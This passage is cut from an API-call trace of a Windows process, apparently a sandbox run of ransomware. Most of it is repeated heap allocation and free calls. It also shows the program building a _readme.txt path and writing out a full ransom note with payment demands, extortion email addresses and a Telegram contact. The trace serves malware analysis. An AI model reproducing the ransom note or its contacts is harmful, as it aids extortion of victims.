Flags=0x0, Size=0x840) returned 0x3306648 [0112.716] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.716] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba468 | out: hHeap=0x660000) returned 1 [0112.716] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba468 [0112.716] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x840) returned 0x3306648 [0112.716] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.716] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba468 | out: hHeap=0x660000) returned 1 [0112.716] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba468 [0112.716] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0112.716] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.716] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba468 | out: hHeap=0x660000) returned 1 [0112.717] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba468 [0112.717] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0112.717] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.717] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba468 | out: hHeap=0x660000) returned 1 [0112.717] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba468 [0112.717] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0112.717] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.717] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba468 | out: hHeap=0x660000) returned 1 [0112.717] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba468 [0112.717] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0112.717] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.717] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba468 | out: hHeap=0x660000) returned 1 [0112.717] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba468 [0112.717] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0112.717] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.717] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba468 | out: hHeap=0x660000) returned 1 [0112.717] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba468 [0112.717] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0112.717] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.717] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba468 | out: hHeap=0x660000) returned 1 [0112.717] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba468 [0112.717] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0112.717] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.717] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba468 | out: hHeap=0x660000) returned 1 [0112.717] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba468 [0112.717] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0112.717] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc46) returned 0x331d740 [0112.717] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.717] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0112.717] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba468 | out: hHeap=0x660000) returned 1 [0112.717] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba468 [0112.717] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0112.717] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.717] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba468 | out: hHeap=0x660000) returned 1 [0112.717] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba468 [0112.718] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x860) returned 0x331d740 [0112.718] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0112.718] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba468 | out: hHeap=0x660000) returned 1 [0112.718] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba468 [0112.718] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x860) returned 0x331d740 [0112.718] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0112.718] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba468 | out: hHeap=0x660000) returned 1 [0112.718] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba468 [0112.718] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0112.718] PathFindFileNameW (pszPath="C:\\Boot\\zh-HK\\") returned="zh-HK\\" [0112.718] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba4b8 [0112.718] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0112.718] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0112.718] PathFindFileNameW (pszPath="") returned="" [0112.718] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba4b8 [0112.718] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x75b00000 [0112.718] GetProcAddress (hModule=0x75b00000, lpProcName="SHGetFolderPathW") returned 0x75b85708 [0112.718] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x800) returned 0x331d740 [0112.718] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x331d740 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0112.718] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x810) returned 0x3306648 [0112.719] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba468 [0112.719] FreeLibrary (hLibModule=0x75b00000) returned 1 [0112.719] PathAppendW (in: pszPath="C:\\Boot\\zh-HK\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\zh-HK\\_readme.txt") returned 1 [0112.719] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306ed0 [0112.719] PathFileExistsW (pszPath="C:\\Boot\\zh-HK\\_readme.txt") returned 0 [0112.719] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x7d00) returned 0x331f120 [0112.719] lstrcpyW (in: lpString1=0x331f120, lpString2="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-Uwo9T1cpFc\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n113Asd3768237Ihsdf" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-Uwo9T1cpFc\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n113Asd3768237Ihsdf") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-Uwo9T1cpFc\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n113Asd3768237Ihsdf" [0112.720] lstrcatW (in: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-Uwo9T1cpFc\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n113Asd3768237Ihsdf", lpString2="BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-Uwo9T1cpFc\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n113Asd3768237IhsdfBfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-Uwo9T1cpFc\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n113Asd3768237IhsdfBfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62" [0112.720] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3307758 [0112.720] CreateFileW (lpFileName="C:\\Boot\\zh-HK\\_readme.txt" (normalized: "c:\\boot\\zh-hk\\_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0112.720] FindFirstFileW (in: lpFileName="C:\\Boot\\zh-HK\\*", lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x32a6848 [0112.720] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0112.720] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11250, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0112.720] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11250, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0112.720] FindClose (in: hFindFile=0x32a6848 | out: hFindFile=0x32a6848) returned 1 [0112.720] PeekMessageW (in: lpMsg=0x3b2fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3b2fb74) returned 0 [0112.720] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba490 [0112.720] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306ed0 [0112.720] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.720] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba490 | out: hHeap=0x660000) returned 1 [0112.720] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba490 [0112.720] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306ed0 [0112.720] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.721] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba490 | out: hHeap=0x660000) returned 1 [0112.721] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba490 [0112.721] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306ed0 [0112.721] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.721] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba490 | out: hHeap=0x660000) returned 1 [0112.721] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba490 [0112.721] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306ed0 [0112.721] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.721] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba490 | out: hHeap=0x660000) returned 1 [0112.721] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba490 [0112.721] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306ed0 [0112.721] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.721] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba490 | out: hHeap=0x660000) returned 1 [0112.721] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba490 [0112.721] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x840) returned 0x3306ed0 [0112.721] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.721] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba490 | out: hHeap=0x660000) returned 1 [0112.721] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba490 [0112.721] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306ed0 [0112.721] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc2e) returned 0x331d740 [0112.721] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.721] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0112.721] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba490 | out: hHeap=0x660000) returned 1 [0112.721] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba490 [0112.721] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306ed0 [0112.721] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.721] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba490 | out: hHeap=0x660000) returned 1 [0112.721] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba490 [0112.721] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x840) returned 0x3306ed0 [0112.721] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.721] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba490 | out: hHeap=0x660000) returned 1 [0112.721] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba490 [0112.721] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x860) returned 0x331d740 [0112.721] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0112.721] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba490 | out: hHeap=0x660000) returned 1 [0112.722] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba490 [0112.722] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x860) returned 0x331d740 [0112.722] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0112.722] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba490 | out: hHeap=0x660000) returned 1 [0112.722] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba490 [0112.722] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306ed0 [0112.722] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.722] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba490 | out: hHeap=0x660000) returned 1 [0112.722] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba490 [0112.722] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306ed0 [0112.722] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.722] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba490 | out: hHeap=0x660000) returned 1 [0112.722] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba490 [0112.722] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x840) returned 0x3306ed0 [0112.722] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.722] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba490 | out: hHeap=0x660000) returned 1 [0112.722] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba490 [0112.722] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x840) returned 0x3306ed0 [0112.722] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.722] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba490 | out: hHeap=0x660000) returned 1 [0112.722] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba490 [0112.722] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306ed0 [0112.722] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.722] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba490 | out: hHeap=0x660000) returned 1 [0112.722] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba490 [0112.722] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306ed0 [0112.722] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.722] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba490 | out: hHeap=0x660000) returned 1 [0112.722] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba490 [0112.722] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306ed0 [0112.722] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.722] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba490 | out: hHeap=0x660000) returned 1 [0112.722] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba490 [0112.722] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306ed0 [0112.723] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.723] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba490 | out: hHeap=0x660000) returned 1 [0112.723] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba490 [0112.723] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306ed0 [0112.723] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.723] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba490 | out: hHeap=0x660000) returned 1 [0112.723] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba490 [0112.723] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306ed0 [0112.723] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.723] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba490 | out: hHeap=0x660000) returned 1 [0112.723] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba490 [0112.723] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306ed0 [0112.723] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.723] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba490 | out: hHeap=0x660000) returned 1 [0112.723] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba490 [0112.723] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306ed0 [0112.723] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc46) returned 0x331d740 [0112.723] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.723] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0112.723] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba490 | out: hHeap=0x660000) returned 1 [0112.723] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba490 [0112.723] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306ed0 [0112.723] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.723] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba490 | out: hHeap=0x660000) returned 1 [0112.723] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba490 [0112.723] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, 